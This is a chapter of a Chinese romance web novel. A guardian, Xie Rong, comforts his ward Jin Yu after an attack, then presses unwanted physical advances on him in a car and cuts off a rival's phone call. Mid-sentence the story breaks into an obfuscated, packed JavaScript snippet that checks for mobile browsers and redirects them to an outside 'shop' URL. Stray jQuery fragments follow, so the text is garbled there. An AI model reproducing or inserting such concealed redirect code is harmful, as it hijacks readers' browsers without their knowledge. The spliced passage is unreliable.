面对着金玉审视的目光,李振东十分诧异,但他很快了然,说道:“这些年关于谢荣的风言风语就没停过是吧?不过当年的事,真的和他没有关系。”
略作思索,他又解释道:“卷宗我仔仔细细看了十多遍,当年谢荣不仅没有作案动机也没有作案时间。警方在他家、他的车里都没搜出纵火工具,也查过他的个人社交软件,没发现任何纵火的意图,更没发现他私下对金城有什么不满的地方。并且金城的遗嘱里将他指定为你的监护人这事儿他自己甚至都不知道。”
他拍了拍金玉的肩膀,宽慰道:“放心吧,这事儿跟他没关系。”
李振东的神色十分正常,没有一点儿掩饰和隐瞒,金玉能看出来,他没有说谎。
父亲的死,真的和谢荣没有关系。
心里顿时有些愧疚,同时,也松了口气。
门外,突然传来了急促的敲门声,李振东说了个请进后,谢荣便带着满脸的慌张和担忧闯了进来,大步走到了金玉面前,将他一把拥进了怀里。
“没......没事就好......”
谢荣一开口,声音便颤抖着泄了出来,那并非任何苛责,而是从心底挤出来的自我宽慰。
他松开了金玉,红着眼眶上下打量着金玉,当看到金玉脖颈上的红印时,他的眼眸都颤动了一下。
“弹片划伤的?有没有做消毒处理?”谢荣抬起了手,想碰又不敢碰,整个人一副快要碎掉的可怜样子。
金玉连忙握住了他的手,说道:“没事的叔叔,枪里没子弹,只是被气焰烫了一下,早就消过毒了。”
“如果有子弹......”谢荣说话的声音都哽咽了起来。
“没有这种如果,有子弹我也不会硬上啊。”
金玉有些无奈,感觉比自己大了十七岁的谢荣好像变成了个孩子,同时又觉得有些有趣,摇晃着谢荣的手,笑着哄道:“哎呀叔叔,我一点儿事都没有,我们回家吧?”
谢荣点了下头,紧紧地握住了金玉的手。他扭头看向李振东,脸上的表情换成了他一贯的冷漠与狠毒:“麻烦李局长,尽早给我结果!”
对于谢荣,李振东有一种与生俱来的厌恶,但这厌恶里又掺杂着某种难以言说的惧惮。
他点了下头,本想劝慰谢荣冷静,但想了想又作罢。这头盘踞在凰城权势漩涡里的巨蟒为人处世自有手段,不是他几句劝就能收起獠牙的。得罪谢荣的人不会有好下场,这已经成为了凰城上流社会公认的事实。
李振东与谢荣来往密切,不仅仅是因为与金城的关系,还因为一些不能拿到明面上来说的、被谢荣握在手里的把柄。
目送着两人离开后,他独自感叹道:“幸好谢荣对金玉还不错,”感叹过后,他又眉头皱起,自言自语道,“可那眼神,怎么感觉有点不太对劲呢......”
-
回到车里,谢荣再次把金玉抱进了怀里。他抱得很紧,双臂完全圈住了他的腰身,头靠在了他的肩窝,却仍觉得不够,于是干脆将他抱到了腿上。
出于误解谢荣多年的愧疚,金玉没有推开谢荣,反倒还揽住了他,轻拍着他的后背以示安慰。
车辆缓缓启动,谢荣那几乎要把金玉嵌进身体里的力道终于松懈了下来。他依旧揽着他的腰,依旧靠着他的肩膀,低声说道:“是我平常看得太紧了,所以小玉才甩开那些保镖离开学校的吗?对不起小玉,我只是想保护你。你不知道......想把你从我手中夺走的人有多少!”
最后一句话,他说得咬牙切齿,说完之后,他抬眼看向金玉,眼里全是恐慌:“我差点失去你了,你知道我有多害怕吗,小玉?”
因紧张而脱力的手慢慢落到了金玉的脖颈,他不敢去碰那道伤痕,只是微微靠近,便感觉格外的烫手。他眼眶发红,狠狠地说道:“伤害你的人我一个都不会放过,一个都不会!”
“叔叔,我没事,我真的没事,你不要这样了,”金玉捧起了谢荣的脸,摘掉了他的眼镜,还给他揉了揉紧皱的眉心。
这个温柔的动作,慢慢治愈了谢荣狂躁不安的内心,让他心里出现了一阵恍惚。
自从昨晚听了金玉的那番话后,谢荣便意识到了自己的莽撞,打算克制欲望,努力追求金玉,获得金玉的心。
可此时此刻,看着在车窗的流转光影里显得更加漂亮且诱人的金玉,看着他眼里极少有过的柔软和关切,谢荣实在是忍不住,托住金玉的后颈就想吻上去。
金玉的手,及时挡住了谢荣的脸。
谢荣丝毫不恼,仍旧在痴迷地盯着金玉,还伸出了舌头,舔上了他的掌心。
这样的场景,在金玉看来有些似曾相识。他突然想到了上周勾引周奎时,他也是坐在周奎的腿上的,跟今天的坐姿格外的相似。可今天,主动的人换成了谢荣。
此时的金玉虽然心疼谢荣,但仍然没有跟谢荣接吻的兴致。可如果谢荣继续撩拨的话,也不是不会起反应的......
金玉想到了那天周奎的表现,突然就理解了周奎当时的感受:原来跟不爱的人亲热,心理上的抗拒会比身体上的抗拒来得更强烈啊。
“叔叔,你不要这样,我不喜欢,”金玉的眼神冷了下去。
谢荣立刻清醒,十分挣扎地看了金玉几秒,才松开他的后颈,懊恼地把头埋在了他的肩膀上,问道:“那抱抱,可以吗?”
“好吧,”金玉没有拒绝,还摸了摸谢荣的脑袋。
冷静下来的谢荣,抱着金玉分析着今天那三名歹徒的幕后主使,想来想去,最大的可能也只会是最近几天被他逼得很紧的林氏集团。
看来,得加快进度了,林氏集团!
谢荣心里正谋划着的时候,金玉口袋里的手机十分突然地响了起来。
金玉连忙拿出手机,看到来电显示上的“周奎”两个字时,眼睛立刻亮起,脸上也挂起了明显的笑意。
被金玉摘掉眼镜的谢荣没看清来电人的姓名,在金玉接通后,才听到了机里传来的让他厌恶的声音。
“少爷,你在哪儿?怎么还没回家?我刚从外面回来,还以为你在家......”周奎的声音非常焦急。
谢荣眉头一蹙,按住金玉的后腰将他揽入怀中,随即握住他拿手机的右手,在他反应过来前,便对着手机说道:“他在我这里。”
说罢,果断按了挂断。
“你干嘛啊?”金玉愣愣地看着手机界面,生气了。
谢荣也板着脸,固执地耍起了脾气:“我没干嘛,实话实说。”
金玉没好气地瞪了谢荣一眼,将眼镜用力按在他脸上,挣扎着便要从他身上下来。
谢荣却一把揽紧他的腰,扶正脸上歪斜的眼镜,猛地将他拽回了身前。
“干嘛?要打一架吗?”金玉生气地瞪着谢荣。
原以为被周奎忽视的他,好不容易接到了周奎的电话,正激动的时候却被被泼了盆凉水,心里别提有多生气。
他直接扯开了谢荣放在他腰上的手,重重地按在了座椅靠背上,却又被谢荣的手托住了后背。
谢荣借力将人一转,把金玉压进座椅深处,随即反手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796095|190642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
扣住他手腕,牢牢地按在头顶。
挣扎之中,手机从金玉手中脱落。金玉空有招式却没多大的力气,在这狭小的车厢内被谢荣压制着,完全没办法反抗。不过如果谢荣敢用强的话,他也是会咬掉谢荣一块肉的。
谢荣看着身下这匹龇着牙的小狼,喉结滚动,最终也只是咬紧下唇,颓败地压倒在他身上,带着几分委屈将脸埋进了他颈间。
金玉却以为谢荣想要用强,吓了一跳,张开嘴狠狠地咬上了谢荣的肩膀。
即使隔着衣服,这一口,依然咬得谢荣冷汗直冒。
谢荣闷哼了几声,难过地问道:“就那么喜欢他吗?挂了他的电话就这么生气?”
金玉这才松开了嘴。
谢荣抬起头,语气里透着难以掩饰的嫉妒:“你跟他表白了吗?”
金玉置气般地抿着唇,点了下头。
谢荣一愣,心里疼痛无比。可立刻,他扯起了嘴角,支起胳膊轻轻捋了捋金玉额前的刘海,笑道:“表白了还没在一起,看来他真的不喜欢你吧?”
金玉眸光暗淡了下去,眼神是满满的难过和委屈。他抿紧唇,偏了下头躲开了谢荣的视线。
谢荣知道周奎是喜欢金玉的,至于周奎为什么不接受金玉,谢荣懒得去分析,只当他是因为自轻自贱和自卑。
他就是想让金玉相信:周奎不喜欢他,周奎永远都不会喜欢上他!
于是,他再次强调道:“小玉,他不喜欢你,”他捧起了金玉的脸,眼里的嘲讽变成了哀求,“所以,你看看我,好吗?”
金玉红了眼眶,吸了吸鼻子,声音闷闷地说道:“我这不是正在看你吗?起来,别压着我了。我跟你说,你还没过我的考验期,别老是动手动脚的,我会给你减分的......”
他心里很难过,骂骂咧咧地把谢荣数落了一通。
谢荣放开了金玉。平日里威风八面的金凰控股董事长,就那么老老实实地坐在金玉面前,安静地接受着他的训斥,嘴角还挂着一抹浅笑。
到达金家庄园后,金玉还没下车,便看到了失魂落魄地站在别墅大门口的周奎。
车刚停稳时,周奎就已经来到了车门边。
“怎么这么晚回......”打开车门的周奎刚看到金玉,话就在嘴边卡住了。
夜晚光线昏暗,周奎没看到金玉脖子上的伤痕,首先看到的是他身上穿着的谢荣的衣服,和他那只被谢荣紧紧握着的手。
周奎的目光让金玉有些不自在,他挣脱了谢荣的手,说道:“叔叔,我到了,你回去吧,明天我没课不去学校,你不用过来送我了。”
“那抱一下,”谢荣将金玉揽入怀中,掌心贴着他的后脑轻轻摩挲,目光却如利刃般刺向仍僵立在车门前的周奎。
他挑衅地扯着嘴角,无声地冷笑了一下,然后放开了金玉。当他望向金玉时,那眼神瞬间变得温柔无比,“小玉再见,我明天再来看你。”说着,他还轻轻地揉了揉金玉的脸。
金玉没有躲,乖巧地说了声:“叔叔再见。”
下了车,他站在道路边朝着谢荣挥手,直到迈巴赫开远,彻底消失在了视野中后,他才转过身走上台阶,淡淡地说了一句:“哥哥,回家吧。”
周奎紧绷的内心,在金玉那疏离的语气下变得支离破碎。他心里很痛,喉结滚动出了干涩的血腥味,他知道自己没有资格去问,却还是没忍住踏出了步子追上了金玉,抓住了他的手腕。
“少爷,你为什么穿着谢先生的衣服?”他的声音沙哑,“你们......在一起了吗?”